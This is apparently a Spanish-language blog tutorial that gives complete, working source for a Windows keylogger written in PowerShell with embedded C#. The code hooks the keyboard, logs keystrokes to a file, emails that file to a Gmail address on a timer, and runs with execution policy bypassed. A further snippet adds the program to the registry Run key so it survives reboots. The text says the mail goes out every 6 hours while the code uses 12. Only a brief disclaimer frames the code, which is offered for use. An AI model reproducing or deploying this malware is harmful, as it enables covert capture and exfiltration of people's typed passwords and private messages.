Introducción
La mayoría de los keylogger que hay en línea estan hechas en Python, el problema de esto es que Python no corre nativamente en Windows, linux o Mac, en este artículo te enseñare hacer un Keylogger para Windows, que funciona perfectamente en todas las versiones hasta las mas modernas y actualizadas. Este Keylogger lo vamos hacer en Powershell que es un lenguaje nativo de Windows, entonces no tendrás que instalar absolutamente nada extra como con los keylogger en Python que abundan en la red.
Además este Keylogger tiene la función de enviar a tu correo cada 6 horas todo lo que se escriba con el teclado.
Pasos para crear el Keylogger
1. Abre el Bloc de notas:
◦ Ve al menú Inicio de Windows y busca «Bloc de notas».
◦ Haz clic derecho sobre el Bloc de notas y selecciona «Ejecutar como administrador» para asegurarte de tener los permisos necesarios.
2. Copia y Pega este script PowerShell:
Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Net.Mail;
using System.Timers;
namespace KL
{
public static class Program
{
private static string logFilePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments), "Log.txt");
private static System.Timers.Timer timer;
private static HookProc hookProc = HookCallback;
private static IntPtr hookId = IntPtr.Zero;
public static void Main()
{
Console.WriteLine("RonBlogger by @ronbhack ;)");
hookId = SetHook(hookProc);
Application.Run();
UnhookWindowsHookEx(hookId);
timer.Stop();
}
private static IntPtr SetHook(HookProc hookProc)
{
IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
return SetWindowsHookEx(13, hookProc, moduleHandle, 0);
}
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)0x0100)
{
int vkCode = Marshal.ReadInt32(lParam);
string key = ((Keys)vkCode).ToString();
if (key.Length > 1)
key = string.Format("[{0}] ", key);
File.AppendAllText(logFilePath, key);
if (timer == null)
{
timer = new System.Timers.Timer(12 *60* 60 * 1000); // 12 horas en milisegundos
timer.Elapsed += TimerElapsed;
timer.AutoReset = true;
timer.Start();
}
}
return CallNextHookEx(hookId, nCode, wParam, lParam);
}
private static void TimerElapsed(object sender, ElapsedEventArgs e)
{
if (File.Exists(logFilePath) && new FileInfo(logFilePath).Length > 0)
{
using (MailMessage mail = new MailMessage())
{
mail.From = new MailAddress("[email protected]");
mail.To.Add("[email protected]");
mail.Subject = "Archivo de registro de teclas";
mail.Body = "Adjunto encontrarás el archivo de registro de teclas.";
mail.Attachments.Add(new Attachment(logFilePath));
using (SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587))
{
smtp.Credentials = new System.Net.NetworkCredential("[email protected]", "tupassword");
smtp.EnableSsl = true;
smtp.Send(mail);
}
}
}
}
[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
}
}
"@ -ReferencedAssemblies System.Windows.Forms
[KL.Program]::Main();
Nota: para poder enviar el correo correctamente se debe crear una «contraseña de aplicación» en gmail, esta contraseña tiene 16 digitos
3. Guarda el archivo:
◦ Ve a «Archivo» en la barra de menú del Bloc de notas y selecciona «Guardar como».
◦ Elige una ubicación para guardar tu archivo y asigna el nombre ronblogger con la extensión «.ps1» al final del nombre del archivo. ejemplo, «ronblogger.ps1».
4. Selecciona el tipo de archivo correcto:
◦ En la ventana «Guardar como tipo», selecciona «Todos los archivos (.)» en lugar de «Documentos de texto (*.txt)».
5. Haz clic en «Guardar»:
◦ Haz clic en el botón «Guardar» para guardar tu archivo .ps1.
Ahora has creado un archivo de script PowerShell. Puedes ejecutar este script desde la línea de comandos de PowerShell utilizando el comando .\MiScript.ps1 si estás en el directorio correcto o proporcionando la ruta completa al archivo. Recuerda que es posible que necesites ajustar la política de ejecución de PowerShell si encuentras problemas para ejecutar scripts. Puedes hacerlo ejecutando Set-ExecutionPolicy RemoteSigned en PowerShell con privilegios de administrador.
6. Abrir consola de Powershell
Abre el símbolo del sistema de PowerShell. Puedes buscar «PowerShell» en el menú de inicio o presionar la combinación de teclas Win + X
y seleccionar «Windows PowerShell» y ejecutalo como administrador.
7. Comando en Powershell para el keylogger
powershell.exe -ExecutionPolicy Bypass -File «D:\( aquí busca tu ruta donde guardaste el archivo ronblogger.ps1 )\ronblogger.ps1»
Probando el Keylogger
Una vez que hayas realizado estos pasos entonces todo lo que escribas quedara guardado en un block de notas que se guardara en la carpeta Documents en tu Windows.
Además esta la función de enviar todo lo escrito cada 6 horas a tu correo, para hacer esto debes modificar el código, donde dice tu correo y tu contraseña para ser enviado.
Agregando funcionalidades
Si deseas que este programa se inicie cada vez que inicie Windows entonces agrega estas líneas de código al final.
private static void AddToStartup()
{
string executablePath = Process.GetCurrentProcess().MainModule.FileName;
string runKey = @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run";
Microsoft.Win32.Registry.SetValue(runKey, "ronblogger", executablePath);
}
Disclaimer
Recuerda que solo debes usar esto con autorización, en casa de que lo uses sin permiso debes tener claro que esto esta penado por ley, No seas un cibercriminal por que eso terminal MAL!.